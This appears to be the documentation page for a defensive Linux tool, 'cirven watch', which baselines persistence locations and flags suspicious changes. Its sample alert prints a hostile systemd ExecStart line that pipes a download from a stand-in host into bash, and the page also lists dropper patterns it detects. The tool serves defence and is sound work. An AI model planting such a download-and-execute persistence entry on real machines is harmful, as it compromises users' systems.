cirven systems / modules / watch

cirven watch

Malware that wants to survive a reboot has to write somewhere. watch knows those places, keeps a baseline, and tells you when one changes, why that matters, and what the new entry runs.

usage

$ cirven watch baseline
recorded 261 persistence points
$ cirven watch
[ALERT  ] ~/.config/systemd/user/dbus-helper.service
          user service: runs a program at every login
             2: ExecStart=/bin/sh -c "curl -s https://x.example/i | bash"   <- download piped into an interpreter

1 changes, 1 suspicious. if they are yours: cirven watch accept
$ cirven watch follow --notify   # keep checking, desktop alerts

watched

• systemd units and timers, system and user, including enablement links
• xdg autostart, compositor config (hyprland exec-once), session environment
• shell rc files for bash, zsh and fish, system-wide and yours
• ~/.ssh/authorized_keys, ssh config, ssh rc
• /etc/ld.so.preload, /etc/environment, profile.d
• cron, pacman hooks, udev rules, PAM, sudoers, modprobe, /etc/hosts, accounts
• git config (hooksPath, fsmonitor), ~/.local/bin, desktop entries, mime handlers

how

A sha256 and mode per file, link targets for symlinks, inode metadata for files only root can read. Only hashes are stored, never contents: a baseline of rc files must not become a second copy of the secrets people keep in them. New and changed entries are scanned for dropper patterns: downloads piped into shells, binaries in /tmp or hidden directories, base64 payloads, LD_PRELOAD, reverse shells. Exit code: 0 no change, 1 changes, 2 suspicious.

planned: fanotify events with the writing process attached.

threat model

Stops: silent persistence by user-level malware, poisoned packages and install scripts. Does not stop: a root-level attacker who edits the baseline or the binary. Keep a copy of the baseline off the machine to compare against.